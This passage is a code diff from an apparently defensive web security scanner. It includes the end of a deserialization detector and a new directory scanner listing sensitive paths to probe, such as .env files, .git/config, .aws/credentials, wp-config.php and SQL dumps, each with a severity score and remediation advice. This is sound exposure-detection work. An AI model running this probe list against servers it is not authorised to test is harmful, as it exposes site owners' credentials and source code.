+ description=f"Sending `{label}` payload produced anomalous response time ({elapsed:.1f}s vs baseline {self._timing_detector.mean:.1f}s), suggesting deserialization processing.",
311
+ remediation="Never deserialize untrusted data. Implement ObjectInputFilter.",
312
+ payload=label,
313
+ evidence=f"Timing: {elapsed:.1f}s vs baseline {self._timing_detector.mean:.1f}s",
314
+ request_details=f"POST {self.target} Content-Type: {content_type}",
315
+ response_details=f"Response time: {elapsed:.2f}s",
316
+ )
317
+ return
318
+
319
+ # ── Signature checker ─────────────────────────────────────────────────
320
+ def _check_value(self, source: str, key: str, value: str):
321
+ self._match_signatures(source, key, value)
322
+
323
+ try:
324
+ padded = value + "=" * ((4 - len(value) % 4) % 4)
325
+ decoded_bytes = base64.b64decode(padded)
326
+ decoded_str = decoded_bytes.decode("utf-8", errors="ignore")
327
+ self._match_signatures(source, key, decoded_str, encoding="base64")
328
+ for tech, checks in SIGNATURES.items():
329
+ for fn, enc in checks:
330
+ if enc == "raw_bytes" and fn(decoded_bytes):
331
+ self._report(source, key, tech, "base64->bytes")
332
+ except Exception as e:
333
+ self.log("ERROR", f"[Deserialization] Base64 decode error: {e}")
334
+
335
+ def _match_signatures(self, source, key, content, encoding="raw"):
336
+ for tech, checks in SIGNATURES.items():
337
+ for fn, enc in checks:
338
+ if enc in ("raw", "form_field", "base64") and fn(content):
339
+ if len(content) > 8:
340
+ self._report(source, key, tech, encoding)
341
+ return
342
+
343
+ def _report(self, source, key, tech, encoding):
344
+ if any(v["title"].startswith(f"Insecure Deserialization ({tech})") for v in self.vulns):
345
+ return
346
+ self.add_vuln(
347
+ title=f"Insecure Deserialization ({tech}) in {source}",
348
+ severity="Critical",
349
+ category="Insecure Deserialization",
350
+ cvss_score=9.8,
351
+ cwe_ids=["CWE-502"],
352
+ owasp_category="A08:2021 – Software and Data Integrity Failures",
353
+ confidence="High",
354
+ cve_ids=["CVE-2015-4852"] if "Java" in tech else [],
355
+ references=["https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html"],
356
+ description=(
357
+ f"Detected a **{tech}** serialized object in `{source}` -> `{key}` ({encoding}).\n\n"
358
+ "Untrusted deserialization typically leads to **Remote Code Execution (RCE)** "
359
+ "via gadget chains (e.g., ysoserial, phpggc)."
360
+ ),
361
+ remediation=(
362
+ "1. Use JSON/XML with schema validation instead of native serialization.\n"
363
+ "2. Implement type allowlisting before deserialization.\n"
364
+ "3. Java: use `ObjectInputFilter` (JDK 9+) to block unexpected classes.\n"
365
+ "4. PHP: set `allowed_classes` in `unserialize()` calls.\n"
366
+ "5. Monitor for deserialization exceptions in production logs."
367
+ ),
368
+ payload=key,
369
+ evidence=f"Serialization format: {tech}",
370
+ request_details=f"Source: {source}",
371
+ response_details=f"Encoded as: {encoding}",
372
+ )
373
+ self.log("CRITICAL", f"[Deserialization] {tech} signature in {source}:{key}")
backend/scanners/directory_scanner.py ADDED
@@ -0,0 +1,768 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ """
2
+ directory_scanner.py — Checks for exposure of sensitive files and directories.
3
+ Tests a curated list of paths commonly left exposed on misconfigured web servers.
4
+ No external dependencies required.
5
+ """
6
+ from scanners.base_scanner import BaseScanner
7
+
8
+ SENSITIVE_PATHS = [
9
+ # Source Control
10
+ ("/.git/config", "Git Config Exposed", "Critical", 9.8,
11
+ "The .git/config file reveals remote repository URLs, branches, and potentially credentials. Attackers can clone the entire source code.",
12
+ "Block .git access in web server:\n Nginx: location ~ /\\.git { deny all; return 404; }\n Apache: RedirectMatch 404 /\\.git"),
13
+
14
+ ("/.git/HEAD", "Git Repository Accessible", "Critical", 9.1,
15
+ "The .git directory is publicly accessible, allowing full source code reconstruction via git-dumper.",
16
+ "Block all access to the .git directory. Never deploy web apps with .git directories in the web root."),
17
+
18
+ ("/.svn/entries", "SVN Repository Exposed", "High", 7.5,
19
+ "Subversion metadata is publicly accessible, potentially exposing source code and history.",
20
+ "Block .svn directory access at the web server level and remove .svn directories from your web root."),
21
+
22
+ ("/.hg/", "Mercurial Repository Exposed", "High", 7.5,
23
+ "Mercurial (Hg) repository directory is accessible, exposing version control data.",
24
+ "Block .hg directory access and remove from web root."),
25
+
26
+ # Environment & Config
27
+ ("/.env", ".env File Exposed", "Critical", 9.8,
28
+ "The .env configuration file is publicly accessible. It typically contains database passwords, API keys, JWT secrets, and AWS credentials.",
29
+ "Never place .env files in the web root. Block with:\n Nginx: location ~ /\\.env { deny all; }"),
30
+
31
+ ("/.env.local", ".env.local File Exposed", "Critical", 9.8,
32
+ "Local environment override file is accessible, potentially containing developer credentials.",
33
+ "Remove all .env variants from the web root and block access via server config."),
34
+
35
+ ("/.env.backup", ".env Backup Exposed", "Critical", 9.8,
36
+ "A backup of the environment configuration file is accessible.",
37
+ "Remove all .env backup files and block access at the web server level."),
38
+
39
+ ("/.env.production", ".env.production File Exposed", "Critical", 9.8,
40
+ "Production environment configuration is publicly accessible.",
41
+ "Remove production environment files from web root immediately."),
42
+
43
+ ("/.env.development", ".env.development File Exposed", "High", 7.5,
44
+ "Development environment configuration is accessible, potentially containing development credentials.",
45
+ "Remove development environment files from production deployments."),
46
+
47
+ ("/.env.staging", ".env.staging File Exposed", "High", 7.5,
48
+ "Staging environment configuration is accessible.",
49
+ "Remove staging environment files from public access."),
50
+
51
+ ("/config.php", "PHP Config File Exposed", "High", 7.5,
52
+ "A PHP configuration file containing database credentials may be readable.",
53
+ "Move config files above the web root or restrict access."),
54
+
55
+ ("/wp-config.php", "WordPress Config Exposed", "Critical", 9.8,
56
+ "WordPress configuration file is accessible, exposing database host, name, user, and password.",
57
+ "Ensure wp-config.php is not web-accessible. WordPress should normally protect this."),
58
+
59
+ ("/wp-config.php.bak", "WordPress Config Backup Exposed", "Critical", 9.8,
60
+ "WordPress configuration backup file is accessible.",
61
+ "Remove all .bak files from web root immediately."),
62
+
63
+ ("/config/database.yml", "Rails DB Config Exposed", "Critical", 9.8,
64
+ "Ruby on Rails database configuration file is publicly accessible with database credentials.",
65
+ "Add config/database.yml to .gitignore and restrict web access."),
66
+
67
+ ("/appsettings.json", "ASP.NET Config Exposed", "High", 7.5,
68
+ "ASP.NET Core configuration file may expose connection strings and API keys.",
69
+ "Restrict web access to appsettings.json. Use Azure Key Vault or environment variables for secrets."),
70
+
71
+ ("/application.properties","Java Config Exposed", "High", 7.5,
72
+ "Java/Spring application properties file may contain database credentials and API keys.",
73
+ "Move configuration files outside web root or use environment variables."),
74
+
75
+ ("/application.yml", "YAML Config Exposed", "High", 7.5,
76
+ "YAML configuration file may contain sensitive configuration data.",
77
+ "Restrict access to configuration files."),
78
+
79
+ ("/settings.py", "Python Config Exposed", "High", 7.5,
80
+ "Python Django settings file may contain secret keys and database credentials.",
81
+ "Move settings.py outside web root or use environment variables."),
82
+
83
+ ("/.htaccess", ".htaccess File Exposed", "Medium", 5.3,
84
+ "Apache .htaccess configuration file is readable, potentially revealing rewrite rules and security configurations.",
85
+ "Restrict access to .htaccess files."),
86
+
87
+ ("/.htpasswd", ".htpasswd File Exposed", "High", 7.5,
88
+ "Apache .htpasswd file contains password hashes for basic authentication.",
89
+ "Remove .htpasswd files from web root immediately."),
90
+
91
+ # Admin Panels
92
+ ("/admin", "Admin Panel Exposed", "Medium", 5.3,
93
+ "An admin panel is publicly accessible. Exposed admin interfaces are prime targets for brute-force and credential stuffing attacks.",
94
+ "Restrict admin access to specific IP ranges:\n Nginx: allow 10.0.0.0/8; deny all;"),
95
+
96
+ ("/administrator", "Admin Panel Exposed", "Medium", 5.3,
97
+ "Administrator panel is publicly accessible.",
98
+ "Restrict access and implement strong authentication."),
99
+
100
+ ("/wp-admin/", "WordPress Admin Exposed", "Medium", 5.3,
101
+ "WordPress admin login is publicly accessible, enabling brute-force attacks.",
102
+ "Use plugins like WP Cerber or Wordfence to limit login attempts. Consider hiding wp-admin via URL change."),
103
+
104
+ ("/wp-login.php", "WordPress Login Exposed", "Medium", 5.3,
105
+ "WordPress login page is publicly accessible.",
106
+ "Implement rate limiting and 2FA for WordPress logins."),
107
+
108
+ ("/phpmyadmin/", "phpMyAdmin Exposed", "High", 8.0,
109
+ "phpMyAdmin database management interface is publicly accessible. Default credentials are widely known.",
110
+ "Remove phpMyAdmin from public-facing servers. Access databases only via SSH tunnel."),
111
+
112
+ ("/adminer.php", "Adminer DB Manager Exposed", "High", 8.0,
113
+ "Adminer database management tool is publicly accessible on the production server.",
114
+ "Remove adminer.php from production. Use SSH tunnels for database management."),
115
+
116
+ ("/mysql/", "MySQL Admin Exposed", "High", 8.0,
117
+ "MySQL administration interface is publicly accessible.",
118
+ "Remove MySQL admin interfaces from public access."),
119
+
120
+ ("/pgadmin/", "pgAdmin Exposed", "High", 8.0,
121
+ "PostgreSQL administration interface is publicly accessible.",
122
+ "Remove pgAdmin from public access."),
123
+
124
+ ("/solr/", "Apache Solr Exposed", "Medium", 5.3,
125
+ "Apache Solr search interface is publicly accessible.",
126
+ "Restrict access to Solr admin interface."),
127
+
128
+ ("/elasticsearch/", "Elasticsearch Exposed", "Medium", 5.3,
129
+ "Elasticsearch interface is publicly accessible.",
130
+ "Restrict access to Elasticsearch."),
131
+
132
+ ("/kibana/", "Kibana Exposed", "Medium", 5.3,
133
+ "Kibana dashboard is publicly accessible.",
134
+ "Restrict access to Kibana."),
135
+
136
+ ("/grafana/", "Grafana Exposed", "Medium", 5.3,
137
+ "Grafana dashboard is publicly accessible.",
138
+ "Restrict access to Grafana."),
139
+
140
+ ("/jenkins/", "Jenkins Exposed", "Medium", 5.3,
141
+ "Jenkins CI/CD server is publicly accessible.",
142
+ "Restrict access to Jenkins."),
143
+
144
+ ("/jira/", "Jira Exposed", "Medium", 5.3,
145
+ "Jira issue tracker is publicly accessible.",
146
+ "Restrict access to Jira."),
147
+
148
+ ("/confluence/", "Confluence Exposed", "Medium", 5.3,
149
+ "Confluence wiki is publicly accessible.",
150
+ "Restrict access to Confluence."),
151
+
152
+ # Backup Files
153
+ ("/backup.zip", "Backup Archive Exposed", "Critical", 9.1,
154
+ "A backup archive file is publicly downloadable. Backup files often contain full source code, databases, and configuration.",
155
+ "Remove all backup files from the web root. Store backups in secure, non-public locations."),
156
+
157
+ ("/backup.sql", "SQL Backup Exposed", "Critical", 9.8,
158
+ "A SQL database dump is publicly downloadable, exposing all database contents.",
159
+ "Remove SQL dumps from the web root immediately. Store in encrypted, access-controlled storage."),
160
+
161
+ ("/db.sql", "SQL Database Dump Exposed", "Critical", 9.8,
162
+ "A SQL database dump file is publicly accessible.",
163
+ "Delete immediately and audit what data was exposed. Report to your data protection authority if personal data is involved."),
164
+
165
+ ("/backup.tar.gz", "Tar Backup Exposed", "Critical", 9.1,
166
+ "A tar.gz backup archive is publicly downloadable.",
167
+ "Remove all backup archives from web root."),
168
+
169
+ ("/backup.bak", "Backup File Exposed", "Critical", 9.1,
170
+ "A backup file is publicly accessible.",
171
+ "Remove all .bak files from web root."),
172
+
173
+ ("/database.sql", "Database Dump Exposed", "Critical", 9.8,
174
+ "Database dump file is publicly accessible.",
175
+ "Remove immediately and audit data exposure."),
176
+
177
+ ("/dump.sql", "Database Dump Exposed", "Critical", 9.8,
178
+ "Database dump file is publicly accessible.",
179
+ "Remove immediately."),
180
+
181
+ ("/.backup", "Backup Directory Exposed", "Critical", 9.1,
182
+ "A backup directory is publicly accessible.",
183
+ "Remove backup directories from web root."),
184
+
185
+ ("/backups/", "Backups Directory Exposed", "Critical", 9.1,
186
+ "Backups directory is publicly accessible.",
187
+ "Remove backups directory from web root."),
188
+
189
+ # Debug & Logs
190
+ ("/server.log", "Server Log File Exposed", "Medium", 5.3,
191
+ "A server log file is publicly readable, potentially revealing internal paths, errors, user data, and stack traces.",
192
+ "Ensure log files are stored outside the web root or protected by authentication."),
193
+
194
+ ("/error.log", "Error Log Exposed", "Medium", 5.3,
195
+ "The application error log is publicly accessible, revealing internal application errors and stack traces.",
196
+ "Move log files outside the web root and ensure they are never publicly accessible."),
197
+
198
+ ("/access.log", "Access Log Exposed", "Medium", 5.3,
199
+ "Access log file is publicly readable, potentially revealing user activity and internal paths.",
200
+ "Move access logs outside web root."),
201
+
202
+ ("/debug.log", "Debug Log Exposed", "Medium", 5.3,
203
+ "Debug log file is publicly accessible, revealing detailed debugging information.",
204
+ "Remove debug logs from production."),
205
+
206
+ ("/logs/", "Logs Directory Exposed", "Medium", 5.3,
207
+ "Logs directory is publicly accessible.",
208
+ "Move logs directory outside web root."),
209
+
210
+ ("/phpinfo.php", "phpinfo() Page Exposed", "Medium", 5.3,
211
+ "A phpinfo() page reveals PHP configuration, extensions, environment variables, and server paths.",
212
+ "Delete phpinfo.php pages from production environments."),
213
+
214
+ ("/info.php", "PHP Info Page Exposed", "Medium", 5.3,
215
+ "PHP info page reveals server configuration.",
216
+ "Remove info.php from production."),
217
+
218
+ ("/test.php", "Test Script Exposed", "Medium", 5.3,
219
+ "Test script is publicly accessible, potentially revealing application internals.",
220
+ "Remove test scripts from production."),
221
+
222
+ ("/test/", "Test Directory Exposed", "Medium", 5.3,
223
+ "Test directory is publicly accessible.",
224
+ "Remove test directories from production."),
225
+
226
+ # API & Metadata
227
+ ("/api/swagger.json", "Swagger API Docs Exposed", "Low", 3.1,
228
+ "Swagger/OpenAPI documentation is publicly accessible, mapping all API endpoints and their parameters.",
229
+ "Restrict API documentation access to authenticated users or trusted IP ranges in production."),
230
+
231
+ ("/api/openapi.json", "OpenAPI Docs Exposed", "Low", 3.1,
232
+ "OpenAPI documentation is publicly accessible.",
233
+ "Restrict access to API documentation."),
234
+
235
+ ("/api/docs", "API Documentation Exposed", "Low", 3.1,
236
+ "API documentation is publicly accessible.",
237
+ "Restrict access to API docs."),
238
+
239
+ ("/api/v1/users", "Users API Endpoint Exposed", "Medium", 5.3,
240
+ "A user listing API endpoint is publicly accessible without authentication.",
241
+ "Ensure all API endpoints require proper authentication and authorisation."),
242
+
243
+ ("/api/users", "Users API Exposed", "Medium", 5.3,
244
+ "Users API endpoint is publicly accessible.",
245
+ "Implement authentication on all user endpoints."),
246
+
247
+ ("/graphql", "GraphQL Endpoint Exposed", "Low", 3.1,
248
+ "GraphQL endpoint is publicly accessible.",
249
+ "Implement authentication on GraphQL endpoint."),
250
+
251
+ ("/.DS_Store", ".DS_Store File Exposed", "Low", 3.1,
252
+ ".DS_Store files (macOS metadata) can reveal directory structure and file names on the server.",
253
+ "Add .DS_Store to .gitignore and block access:\n Nginx: location ~ /\\.DS_Store { deny all; }"),
254
+
255
+ ("/Thumbs.db", "Thumbs.db Exposed", "Low", 3.1,
256
+ "Windows thumbnail database file reveals file structure.",
257
+ "Block access to Thumbs.db files."),
258
+
259
+ # Cloud & CI/CD
260
+ ("/.aws/", "AWS Config Directory Exposed", "Critical", 9.8,
261
+ "AWS configuration directory is accessible, potentially containing credentials.",
262
+ "Remove .aws directory from web root."),
263
+
264
+ ("/.aws/credentials", "AWS Credentials Exposed", "Critical", 9.8,
265
+ "AWS credentials file is publicly accessible.",
266
+ "Remove immediately and rotate all AWS credentials."),
267
+
268
+ ("/.kube/", "Kubernetes Config Exposed", "Critical", 9.8,
269
+ "Kubernetes configuration directory is accessible.",
270
+ "Remove .kube directory from web root."),
271
+
272
+ ("/.github/", "GitHub Config Exposed", "High", 7.5,
273
+ "GitHub configuration directory is accessible.",
274
+ "Remove .github directory from web root."),
275
+
276
+ ("/.gitlab-ci.yml", "GitLab CI Config Exposed", "Medium", 5.3,
277
+ "GitLab CI configuration is accessible, potentially revealing CI/CD secrets.",
278
+ "Remove CI/CD configuration files from web root."),
279
+
280
+ ("/.travis.yml", "Travis CI Config Exposed", "Medium", 5.3,
281
+ "Travis CI configuration is accessible.",
282
+ "Remove CI configuration files from web root."),
283
+
284
+ ("/docker-compose.yml", "Docker Compose Exposed", "Medium", 5.3,
285
+ "Docker Compose configuration is accessible, potentially revealing service configuration.",
286
+ "Remove Docker configuration files from web root."),
287
+
288
+ ("/Dockerfile", "Dockerfile Exposed", "Medium", 5.3,
289
+ "Dockerfile is publicly accessible.",
290
+ "Remove Dockerfile from web root."),
291
+
292
+ ("/jenkinsfile", "Jenkinsfile Exposed", "Medium", 5.3,
293
+ "Jenkins CI configuration is accessible.",
294
+ "Remove Jenkinsfile from web root."),
295
+
296
+ # Development Tools
297
+ ("/composer.json", "Composer Config Exposed", "Medium", 5.3,
298
+ "PHP Composer configuration is accessible, revealing package dependencies.",
299
+ "Move composer.json outside web root."),
300
+
301
+ ("/composer.lock", "Composer Lock Exposed", "Low", 3.1,
302
+ "Composer lock file is accessible.",
303
+ "Move composer.lock outside web root."),
304
+
305
+ ("/package.json", "NPM Config Exposed", "Medium", 5.3,
306
+ "NPM package.json is accessible, revealing dependencies and scripts.",
307
+ "Move package.json outside web root."),
308
+
309
+ ("/package-lock.json", "NPM Lock Exposed", "Low", 3.1,
310
+ "NPM lock file is accessible.",
311
+ "Move package-lock.json outside web root."),
312
+
313
+ ("/Gemfile", "Ruby Gemfile Exposed", "Medium", 5.3,
314
+ "Ruby Gemfile is accessible, revealing dependencies.",
315
+ "Move Gemfile outside web root."),
316
+
317
+ ("/Gemfile.lock", "Gemfile Lock Exposed", "Low", 3.1,
318
+ "Ruby Gemfile.lock is accessible.",
319
+ "Move Gemfile.lock outside web root."),
320
+
321
+ ("/requirements.txt", "Python Requirements Exposed", "Medium", 5.3,
322
+ "Python requirements.txt is accessible, revealing dependencies.",
323
+ "Move requirements.txt outside web root."),
324
+
325
+ ("/Pipfile", "Pipfile Exposed", "Medium", 5.3,
326
+ "Python Pipfile is accessible.",
327
+ "Move Pipfile outside web root."),
328
+
329
+ ("/go.mod", "Go Module Exposed", "Medium", 5.3,
330
+ "Go module file is accessible.",
331
+ "Move go.mod outside web root."),
332
+
333
+ # CMS Specific
334
+ ("/wp-content/", "WordPress Content Exposed", "Low", 3.1,
335
+ "WordPress wp-content directory is accessible.",
336
+ "Restrict access to wp-content."),
337
+
338
+ ("/wp-includes/", "WordPress Includes Exposed", "Low", 3.1,
339
+ "WordPress wp-includes directory is accessible.",
340
+ "Restrict access to wp-includes."),
341
+
342
+ ("/wp-content/uploads/", "WordPress Uploads Exposed", "Low", 3.1,
343
+ "WordPress uploads directory is accessible.",
344
+ "Ensure uploads directory has proper permissions."),
345
+
346
+ ("/drupal/", "Drupal Directory Exposed", "Low", 3.1,
347
+ "Drupal directory is accessible.",
348
+ "Restrict access to Drupal directories."),
349
+
350
+ ("/sites/default/files/", "Drupal Files Exposed", "Low", 3.1,
351
+ "Drupal files directory is accessible.",
352
+ "Restrict access to files directory."),
353
+
354
+ ("/magento/", "Magento Directory Exposed", "Low", 3.1,
355
+ "Magento directory is accessible.",
356
+ "Restrict access to Magento directories."),
357
+
358
+ ("/media/", "Media Directory Exposed", "Low", 3.1,
359
+ "Media directory is accessible.",
360
+ "Ensure media directory has proper permissions."),
361
+
362
+ ("/static/", "Static Files Exposed", "Low", 3.1,
363
+ "Static files directory is accessible.",
364
+ "Ensure static directory has proper permissions."),
365
+
366
+ ("/public/", "Public Directory Exposed", "Low", 3.1,
367
+ "Public directory is accessible.",
368
+ "Review contents of public directory."),
369
+
370
+ ("/tmp/", "Temp Directory Exposed", "Medium", 5.3,
371
+ "Temporary directory is accessible.",
372
+ "Remove temp directory from web root."),
373
+
374
+ ("/temp/", "Temp Directory Exposed", "Medium", 5.3,
375
+ "Temporary directory is accessible.",
376
+ "Remove temp directory from web root."),
377
+
378
+ ("/cache/", "Cache Directory Exposed", "Medium", 5.3,
379
+ "Cache directory is accessible.",
380
+ "Restrict access to cache directory."),
381
+
382
+ ("/storage/", "Storage Directory Exposed", "Medium", 5.3,
383
+ "Storage directory is accessible.",
384
+ "Restrict access to storage directory."),
385
+
386
+ ("/uploads/", "Uploads Directory Exposed", "Medium", 5.3,
387
+ "Uploads directory is accessible.",
388
+ "Ensure uploads directory has proper permissions and restrictions."),
389
+
390
+ ("/files/", "Files Directory Exposed", "Medium", 5.3,
391
+ "Files directory is accessible.",
392
+ "Restrict access to files directory."),
393
+
394
+ ("/install.php", "Install Script Exposed", "High", 7.5,
395
+ "Installation script is publicly accessible.",
396
+ "Remove install.php from production."),
397
+
398
+ ("/install/", "Install Directory Exposed", "High", 7.5,
399
+ "Installation directory is accessible.",
400
+ "Remove install directory from production."),
401
+
402
+ ("/setup.php", "Setup Script Exposed", "High", 7.5,
403
+ "Setup script is publicly accessible.",
404
+ "Remove setup.php from production."),
405
+
406
+ ("/upgrade.php", "Upgrade Script Exposed", "High", 7.5,
407
+ "Upgrade script is publicly accessible.",
408
+ "Remove upgrade.php from production."),
409
+
410
+ ("/maintenance.php", "Maintenance Script Exposed", "Medium", 5.3,
411
+ "Maintenance script is publicly accessible.",
412
+ "Restrict access to maintenance scripts."),
413
+
414
+ ("/robots.txt", "Robots.txt Exposed", "Low", 3.1,
415
+ "Robots.txt is accessible, revealing site structure.",
416
+ "Review robots.txt for information disclosure."),
417
+
418
+ ("/sitemap.xml", "Sitemap Exposed", "Low", 3.1,
419
+ "Sitemap is accessible, revealing site structure.",
420
+ "Review sitemap for sensitive information."),
421
+
422
+ ("/crossdomain.xml", "Crossdomain Policy Exposed", "Low", 3.1,
423
+ "Crossdomain policy file is accessible.",
424
+ "Review crossdomain policy for security."),
425
+
426
+ ("/clientaccesspolicy.xml", "Silverlight Policy Exposed", "Low", 3.1,
427
+ "Silverlight client access policy is accessible.",
428
+ "Review client access policy."),
429
+
430
+ ("/.well-known/", "Well-Known Directory Exposed", "Low", 3.1,
431
+ "Well-known directory is accessible.",
432
+ "Review .well-known directory contents."),
433
+
434
+ ("/.well-known/acme-challenge/", "ACME Challenge Exposed", "Low", 3.1,
435
+ "ACME challenge directory is accessible.",
436
+ "Ensure ACME challenge directory is properly secured."),
437
+
438
+ # Additional paths (30+ more)
439
+ ("/login", "Login Page Exposed", "Low", 3.1,
440
+ "A login page is publicly accessible.",
441
+ "Implement rate limiting and account lockout."),
442
+
443
+ ("/signup", "Signup Page Exposed", "Low", 3.1,
444
+ "A registration page is publicly accessible.",
445
+ "Implement CAPTCHA and email verification."),
446
+
447
+ ("/register", "Registration Exposed", "Low", 3.1,
448
+ "A registration page is publicly accessible.",
449
+ "Implement CAPTCHA and email verification."),
450
+
451
+ ("/api", "API Endpoint Exposed", "Low", 3.1,
452
+ "An API endpoint is publicly accessible.",
453
+ "Implement authentication on all API endpoints."),
454
+
455
+ ("/api/", "API Directory Exposed", "Low", 3.1,
456
+ "API directory listing may be enabled.",
457
+ "Disable directory listing on API directories."),
458
+
459
+ ("/api/v1", "API v1 Endpoint Exposed", "Low", 3.1,
460
+ "API version 1 endpoint is publicly accessible.",
461
+ "Implement authentication and rate limiting."),
462
+
463
+ ("/api/v2", "API v2 Endpoint Exposed", "Low", 3.1,
464
+ "API version 2 endpoint is publicly accessible.",
465
+ "Implement authentication and rate limiting."),
466
+
467
+ ("/dev", "Development Interface Exposed", "High", 7.5,
468
+ "A development interface is publicly accessible.",
469
+ "Restrict dev interfaces to internal networks."),
470
+
471
+ ("/staging", "Staging Environment Exposed", "High", 7.5,
472
+ "A staging environment is publicly accessible. Staging often has weaker security.",
473
+ "Restrict staging access to internal networks."),
474
+
475
+ ("/health", "Health Check Exposed", "Low", 3.1,
476
+ "A health check endpoint is publicly accessible.",
477
+ "Restrict health checks to internal monitoring systems."),
478
+
479
+ ("/healthz", "Health Check Exposed", "Low", 3.1,
480
+ "A health check endpoint is publicly accessible.",
481
+ "Restrict health checks to internal monitoring systems."),
482
+
483
+ ("/actuator", "Spring Boot Actuator Exposed", "High", 7.5,
484
+ "Spring Boot Actuator endpoints are exposed, revealing application internals, metrics, and environment.",
485
+ "Disable Actuator in production or secure with authentication:\n management.endpoints.web.exposure.exclude=*"),
486
+
487
+ ("/actuator/health", "Spring Boot Health Exposed", "Low", 3.1,
488
+ "Spring Boot health endpoint is accessible.",
489
+ "Restrict Actuator endpoints to internal networks."),
490
+
491
+ ("/actuator/env", "Spring Boot Env Exposed", "Critical", 9.8,
492
+ "Spring Boot environment endpoint exposes all environment variables including secrets.",
493
+ "Disable sensitive Actuator endpoints in production."),
494
+
495
+ ("/actuator/actuator", "Spring Boot Actuator Exposed", "High", 7.5,
496
+ "Spring Boot Actuator is exposed.",
497
+ "Secure Actuator endpoints."),
498
+
499
+ ("/swagger-ui.html", "Swagger UI Exposed", "Medium", 5.3,
500
+ "Swagger UI documentation is publicly accessible.",
501
+ "Restrict Swagger UI to internal networks."),
502
+
503
+ ("/swagger/", "Swagger Endpoint Exposed", "Medium", 5.3,
504
+ "Swagger API documentation endpoint is accessible.",
505
+ "Restrict Swagger to authenticated users."),
506
+
507
+ ("/api/swagger", "API Swagger Exposed", "Medium", 5.3,
508
+ "API Swagger documentation is accessible.",
509
+ "Restrict Swagger to internal networks."),
510
+
511
+ ("/api/v1/swagger", "API v1 Swagger Exposed", "Medium", 5.3,
512
+ "API version 1 Swagger docs are accessible.",
513
+ "Restrict Swagger to internal networks."),
514
+
515
+ ("/config/", "Config Directory Exposed", "High", 7.5,
516
+ "Configuration directory is accessible, potentially exposing config files.",
517
+ "Restrict access to configuration directories."),
518
+
519
+ ("/config.js", "JS Config Exposed", "High", 7.5,
520
+ "JavaScript configuration file is accessible, potentially exposing API keys.",
521
+ "Move configuration from JS files to server-side."),
522
+
523
+ ("/config.json", "JSON Config Exposed", "High", 7.5,
524
+ "JSON configuration file is publicly accessible.",
525
+ "Restrict access to configuration files."),
526
+
527
+ ("/configuration", "Configuration Endpoint Exposed", "High", 7.5,
528
+ "Configuration endpoint is publicly accessible.",
529
+ "Restrict configuration endpoints."),
530
+
531
+ ("/debug", "Debug Endpoint Exposed", "Medium", 5.3,
532
+ "A debug endpoint is publicly accessible, revealing application internals.",
533
+ "Remove debug endpoints from production."),
534
+
535
+ ("/telescope", "Laravel Telescope Exposed", "High", 7.5,
536
+ "Laravel Telescope debug dashboard is publicly accessible.",
537
+ "Restrict Telescope access in production."),
538
+
539
+ ("/vapor", "Laravel Vapor Exposed", "Medium", 5.3,
540
+ "Laravel Vapor UI is publicly accessible.",
541
+ "Restrict Vapor access to authorized users."),
542
+
543
+ ("/nova", "Laravel Nova Exposed", "Medium", 5.3,
544
+ "Laravel Nova admin panel is publicly accessible.",
545
+ "Restrict Nova access to authorized IPs."),
546
+
547
+ ("/horizon", "Laravel Horizon Exposed", "Medium", 5.3,
548
+ "Laravel Horizon queue monitoring is publicly accessible.",
549
+ "Restrict Horizon access to authorized users."),
550
+
551
+ ("/queues", "Queue Manager Exposed", "Medium", 5.3,
552
+ "Queue management interface is publicly accessible.",
553
+ "Restrict queue management interfaces."),
554
+
555
